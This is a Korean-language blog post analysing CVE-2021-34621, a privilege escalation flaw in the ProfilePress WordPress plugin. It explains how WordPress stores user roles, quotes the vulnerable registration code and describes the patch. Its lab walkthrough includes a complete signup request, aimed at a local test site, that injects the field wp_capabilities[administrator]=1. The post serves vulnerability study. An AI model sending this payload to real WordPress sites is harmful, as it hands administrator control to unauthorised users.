본문 바로가기
Bug Bounty/PoC 분석

[CVE Study]ProfilePress 권한 상승 취약점 분석(Exploit for CVE-2021-34621)

by m_.9m 2024. 2. 15.

ProfilePress 권한 상승 취약점(CVE-2021-34621)

취약점 이해

 

취약점 발견 당시 ProfilePress는 활성 설치수가 400,000이 넘는 플러그인이었습니다. ProfilePress는 전자상거래, 사용자 등록 양식, 로그인 양식, 멤버십 기능을 제공하는 플러그인으로 사용자 등록 기능에서 권한 상승 취약점이 발견되었습니다. 영향을 받는 버전은 3.0 - 3.1.3 으로 3.1.4 버전에서 즉시 패치되었으며, 취약점 발견에는 사용자의 기능과 역할을 제어하는 wp_capability 키가 사용되었습니다.

워드프레스의 데이터베이스

Wordpress는 wp_capabilities로 사용자의 역할과 권한을 관리합니다. 해당 사용자의 권한은 wp_usermeta 테이블에 저장됩니다. wp_capabilities 기능을 이해하기 위해서 워드프레스의 데이터베이스 형태에 대해 잠시 알아보도록 하겠습니다.

(사진: https://codex.wordpress.org/Database_Description )

 

wp_users

wp_users은 사이트에 등록된 모든 사용자를 저장하는 기본 테이블입니다. 여기에는 사용자 이름, 암호화 된 비밀번호, 이메일, 등록 시간 등 사용자에 대한 기본 정보를 저장합니다. 실제로 사용자에 대한 정보가 밑에 있는 필드에 각각 저장됩니다.

 

wp_usermeta

wp_usermeta는 임의의 정보를 저장하기 위한 추가 테이블입니다. 여긴 사용자의 메타데이터(’추가 데이터’)를 저장하고 wp_users 테이블을 확장합니다. 사용자 이름이나 사용자의 권한에 대한 값은 wp_users 테이블이 아닌 wp_usermeta 데이블에 저장됩니다.

 

실제 아래를 보면 user_id를 기반으로 부가적인 정보들이 저장되는 것을 볼 수 있습니다.

 

wp_capability란?

해당 함수는 사용자의 권한을 설정합니다. 데이터가 직렬화되어 저장되기 떄문에 읽는데 해석이 필요하지만, 어려운 부분은 없습니다. 아래와 같이 데이터가 저장되었다고 가정합니다.

meta_key                meta_value
wp_capabilities       a:1:{s:13:"administrator";b:1;}

 

해당 데이터는 아래의 배열을 가르킵니다. a:1은 배열의 개수를 이야기합니다.

array(1) {
    ["administrator"]=>
    bool(true)
}

 

실제 데이터 베이스에 저장된 값을 예시로 확인해보겠습니다.

user1
a:8:{s:13:"administrator";b:1;s:14:"frm_view_forms";b:1;s:14:"frm_edit_forms";b:1;s:16:"frm_delete_forms";b:1;s:19:"frm_change_settings";b:1;s:16:"frm_view_entries";b:1;s:18:"frm_delete_entries";b:1;s:16:"tutor_instructor";b:1;}

 

역직렬화를 통해 해당 데이터가 유저의 권한이 설정된 데이터임을 확인할 수 있습니다.

array(
    'administrator' => true,
    'frm_view_forms' => true,
    'frm_edit_forms' => true,
    'frm_delete_forms' => true,
    'frm_change_settings' => true,
    'frm_view_entries' => true,
    'frm_delete_entries' => true,
    'tutor_instructor' => true
);

 

PoC를 증명하다가 이해하기 어려운 점을 발견합니다.

 

이론 상으로는wp_capabilities[administrator]=1으로 설정해야 해당 값이 true가 되어 권한 상승이 발생하리라 생각이 듭니다. 하지만 실제 PoC 분석을 헀을 떄 wp_capabilities[administrator]=0, wp_capabilities[administrator]= 으로만 입력되어도 값이 true로 입력이 되는 걸 여러차례 확인했습니다.

 

일단 제 글에서는 wp_capabilities[administrator]=1로 설정해야 한다고 가정해두겠습니다.

 

CVE-2021-34621에 대한 이해

ProfilePress는 사용자 등록 기능에서 입력된 값을 가져와 사용자의 메타데이터를 업데이트합니다. 이 과정에서 입력 값을 필터링하는 로직이 구현되지 않아 취약점이 발생하였습니다. 취약한 코드 부분은 다음과 같습니다.

 

해당 플러그인은 등록 양식에서 사용자가 입력한 값을 $custom_usermeta에 배열의 형태로 저장합니다.

// get the data for use by update_meta
        $custom_usermeta = array();
        // loop over the $_POST data and create an array of the invalid userdata/ custom usermeta
	// 사용자가 보낸 데이터를 확인하고 $custom_usermeta에 추가.
        foreach ($post as $key => $value) {
	// reg_submit이거나 ppress_reserved_field_keys() 반환키면 건너뜀.
            if ($key == 'reg_submit' || in_array($key, ppress_reserved_field_keys())) continue;
	// 유효한 사용자의 데이터가 아닌지 확인
            if ( ! in_array($key, $valid_userdata)) {
                $custom_usermeta[$key] = is_array($value) ? array_map('sanitize_text_field', $value) : sanitize_text_field($value);
            }
        }

 

저장된 $custom_usermeta의 값으로 사용자 메타 데이터를 업데이트합니다. 이 과정에 별도의 필터링 과정이 없는 것을 코드를 통해 확인할 수 있습니다. 공격자는 임의의 키(wp_capabilities[administrator])-값(1) 쌍을 삽입하면 권한 상승의 취약점을 발생시킬 수 있습니다.

        if (is_array($custom_usermeta)) {
            foreach ($custom_usermeta as $key => $value) {
                if ( ! empty($value)) {
		// $custom_usermeta에 있는 배열의 각 항목을 사용자의 메타데이터로 업데이트.
                    update_user_meta($user_id, $key, $value);
                    // the 'edit_profile' parameter is used to distinguish it from same action hook in RegistrationAuth
		// ppress_after_custom_field_update 훅을 실행
                    do_action('ppress_after_custom_field_update', $key, $value, $user_id, 'registration');
                }
            }
        }

 

CVE-2021-34621 PoC

취약점 정보

Vulnerability type: Privilege Escalation

CVSS Severity Score: 9.8

Affected Versions: 3.0 - 3.1.3

Patched Available: YES

PoC Link:

ProfilePress 3.0 - 3.1.3 - Unauthenticated Privilege Escalation

Easily Exploitable Critical Vulnerability in ProfilePress Plugin of WordPress CVE-2021-34621

취약한 버전 파일:

wp-user-avatar.3.0.zip
3.53MB

 

실습

  1. PoC 테스트를 위해 ProfilePress 3.0 버전으로 테스트를 진행합니다.
  2. 플러그인이 활성화되면 register 페이지를 설정합니다.
  3. 추가로 가입 페이지를 활성화 하기 위해 Settings > General에서 Membership에 Anyone can register를 체크합니다.
  4. 활성화 된 Sigp Up 페이지에 들어가 세부 정보를 입력해 요청을 보냅니다.

5. Burp Suite를 통해 요청을 가로챈 후 페이로드 wp_capabilities[administrator]=1를 추가해 전송합니다.

POST /w/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1

------WebKitFormBoundaryXSNBS8bmlSTwsbhD
Content-Disposition: form-data; name="reg_username"

Hacking
------WebKitFormBoundaryXSNBS8bmlSTwsbhD
Content-Disposition: form-data; name="reg_email"

Hacking@test.com
------WebKitFormBoundaryXSNBS8bmlSTwsbhD
Content-Disposition: form-data; name="reg_password"

Dywmatk123!
------WebKitFormBoundaryXSNBS8bmlSTwsbhD
Content-Disposition: form-data; name="reg_password_present"

true
------WebKitFormBoundaryXSNBS8bmlSTwsbhD
Content-Disposition: form-data; name="reg_first_name"

haker
------WebKitFormBoundaryXSNBS8bmlSTwsbhD
Content-Disposition: form-data; name="reg_last_name"

test
------WebKitFormBoundaryXSNBS8bmlSTwsbhD
Content-Disposition: form-data; name="_wpnonce"

d13e8c40b9
------WebKitFormBoundaryXSNBS8bmlSTwsbhD
Content-Disposition: form-data; name="_wp_http_referer"

/w/?page_id=232
------WebKitFormBoundaryXSNBS8bmlSTwsbhD
Content-Disposition: form-data; name="pp_current_url"

<http://127.0.0.1/w/?page_id=232>
------WebKitFormBoundaryXSNBS8bmlSTwsbhD
Content-Disposition: form-data; name="signup_form_id"

1
------WebKitFormBoundaryXSNBS8bmlSTwsbhD
Content-Disposition: form-data; name="signup_referrer_page"

------WebKitFormBoundaryXSNBS8bmlSTwsbhD
Content-Disposition: form-data; name="action"

pp_ajax_signup
------WebKitFormBoundaryXSNBS8bmlSTwsbhD
Content-Disposition: form-data; name="melange_id"

------WebKitFormBoundaryXSNBS8bmlSTwsbhD
Content-Disposition: form-data; name="wp_capabilities[administrator]"

1
------WebKitFormBoundaryXSNBS8bmlSTwsbhD--

 

 

6. 기본적으로 가입을 할 시 구독자로 권한 설정이 되어야하지만, 권한 상승 취약점을 통해 관리자 권한이 부여되었습니다.

[기본 가입 시]

[취약점을 악용할 시]

 

취약점 패치

취약점은 3.1.4버전에서 수정되었습니다. 수정된 내역은 다음과 같습니다.

패치 버전은 입력 값이 적절한지를 검증하기 위해 취약 코드 /src/Classes/RegistrationAuth.php에 if문을 추가했습니다. 입력 필드의 키-값의 유효성을 ppress_custom_fields_key_value_pair() 함수를 통해 검증하고, true일 경우에만  $custom_usermeta에 저장합니다.